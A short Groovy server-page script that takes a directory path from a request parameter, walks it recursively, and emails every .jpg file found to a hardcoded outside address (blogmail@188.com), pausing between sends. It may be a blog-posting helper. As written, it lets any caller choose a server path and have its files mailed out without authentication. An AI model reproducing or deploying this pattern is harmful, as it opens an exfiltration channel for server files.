<%
	def dirName =request.getParameter('dir');
	def fileType=".jpg"
	
	def dir = new File(dirName)
	if (dir.isDirectory()) {
		dir.eachFileRecurse {
			String a = it ;
			if(a.endsWith(fileType)){
				println (request.getParameter('dir')+a);
				com.util.net.EmailGroovy.sendMyEmail("blogmail@188.com",request.getParameter('title'),request.getParameter('title')+ request.getParameter('title'),a);
				sleep((System.currentTimeMillis()).mod(30)*1000+10000);
			}
		}
	}
%>
 